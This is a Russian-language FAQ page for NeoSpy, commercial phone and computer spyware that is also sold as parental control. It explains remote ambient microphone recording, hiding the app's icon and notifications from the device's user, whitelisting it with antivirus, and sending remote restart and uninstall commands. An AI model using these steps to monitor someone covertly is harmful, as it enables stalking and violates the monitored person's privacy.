You are using an outdated browser. For a faster, safer browsing experience, upgrade for free today.

Программа шпион, часто задаваемые вопросы

Скачать для Windows
Загружая программу вы принимаете условия лицензионного соглашения
Ваш личный аккаунт 

faq

Часто задаваемые вопросы по шпиону для телефона NeoSpy


Где скачать программу для слежения за телефоном?


Скачать последнюю версию программы можно на странице https://ru.neospy.net/download_ns2/mobile/.
Внимательно настройте телефон по инструкции с этой странице после установки!


⇧ Вернуться к вопросам


Подойдёт ли NeoSpy на мой телефон?


Программа NeoSpy может быть установлена на любой современный телефон с Андроид, не ниже 5 версии. Возможности установить программу на iPhone пока нет.


⇧ Вернуться к вопросам


Какие ограничения в бесплатной версии?


Демо тариф работает бесплатно 7 дней, за это время вы можете протестировать программу на своём телефоне.
Не успели протестировать программу? Не беда - создайте новый аккаунт, это можно сделать прямо во время установки программы на смартфон.


⇧ Вернуться к вопросам


Возможна ли прослушка окружения телефона?


Да, после подключения телефона к аккаунту нажмите в личном кабинете в меню "Мои устройства" - нажмите на устройство - кнопки "Записать 10 минут с микрофона" и т.д. Будет записан окружающий звук вокруг телефона в течение указанного времени.


⇧ Вернуться к вопросам


Сколько телефонов можно подключить к бесплатному демо-тарифу?


К демо тарифу можно добавить два устройства на Андроид.
Если нужно удалить устройство, то зайдите в личном кабинете в "Мои устройства" - На устройстве гаечный ключ - "Удалить устройство" - будет запрос подтверждения, где надо в текстовое поле ввести строку "DELETE" и нажать "Ок".
После удаления можно подключать другое устройство.


⇧ Вернуться к вопросам


Почему программу NeoSpy для родительского контроля нельзя скачать в Play Market?


С каждым годом требования к программному обеспечению, выложенному в официальном магазине Гугла, растут, а функциональность обрезается.

Постепенно из Play Market удаляются приложения, которые имеют доступ к звонкам или смс. Так и приложение NeoSpy было отключено в 2020 году с очередным обновлением политики безопасности магазина Play Market, в котором робот сканировал приложения на доступ к системным функциям и автоматически блокировал приложения родительского контроля.
На данный момент вы можете скачать приложение в виде apk-файла, и с помощью небольшой настройки телефона установить и пользоваться программой.


⇧ Вернуться к вопросам


Куда придёт оповещение о выходе устройства из зоны контроля?


Если включить зону контроля, то оповещение будет приходить на электронную почту, указанную в вашем аккаунте.


⇧ Вернуться к вопросам


Как скрыть значок программы на телефоне?


Чтобы скрыть значок вверху в шторке, откройте шторку с уведомлениями и потяните уведомление влево или вправо, затем нажмите на значок шестерёнки и отключите уведомления NS Cloud.

Чтобы скрыть значок программы из списка программ на главном экране, для телефонов Samsung можно посмотреть инструкцию на странице загрузки.
К сожалению, не на всех моделях телефонов есть возможность скрыть значок. Вы можете переместить его в папку с системными программами или установить из Play Market сторонний лаунчер и в нём скрыть иконку. Например, в Microsoft Launcher.
Запустите Microsoft Launcher, установите его как лаунчер по-умолчанию, затем откройте "Параметры Microsoft Launcher" - "Начальный экран" - "Скрытые приложения" - добавьте "NS Cloud" - "Готово".
Также вы можете переименовать значок NeoSpy и сменить иконку для него с помощью Microsoft Launcher.


⇧ Вернуться к вопросам



Часто задаваемые вопросы по шпиону для компьютера NeoSpy


Где скачать программу для компьютера?


Скачать программу шпион для компьютера можно на странице https://ru.neospy.net/download_ns2/
Нажмите на ссылку "Скачать NeoSpy для Windows" и следуйте инструкциям. Возможно потребуется дополнительная настройка антивируса или добавление программы в белый список.


⇧ Вернуться к вопросам


Что делать, если приходят не все данные в онлайне, хотя на компьютере что-то делают?


В первую очередь нужно попробовать перезапустить программу на компьютере, удаленно это можно сделать с помощью команды "restart_all".
Зайдите в личный кабинет - "Мои устройства" - нажмите на гаечный ключ на устройстве - в пустое поле введите команду "restart_all" без кавычек и нажмите "Применить настройки".


⇧ Вернуться к вопросам


Что делать, если перестали приходить скриншоты в онлайне, или начали приходить пустые серые скриншоты?


В первую очередь нужно попробовать перезапустить программу на компьютере, удаленно это можно сделать с помощью команды "restart_all".
Зайдите в личный кабинет - "Мои устройства" - нажмите на гаечный ключ на устройстве - в пустое поле введите команду "restart_all" без кавычек и нажмите "Применить настройки".
Если проблема не ушла, напишите в техническую поддержку.


⇧ Вернуться к вопросам


Как удалить NeoSpy с компьютера?


Вызовите программу сочетанием клавиш или вводом секретного слова (по-умолчанию Win+R - "neospy" - "OK").
Нажмите "Настройки" - "Удаление программы" слева внизу и нажмите "Удалить NeoSpy сейчас".

Если программа подключена к личному кабинету, вы можете воспользоваться удалением NeoSpy с компьютера через интернет с помощью команд.
Зайдите в личный кабинет - "Мои устройства" - нажмите на гаечный ключ на устройстве - в пустое поле введите целиком текст

[Uninstall]
Enable=1
DateTS=0

и нажмите "Применить настройки".


⇧ Вернуться к вопросам




Акция! Скидка 10% за лайк вконтакте!
Подробности акции

0.0008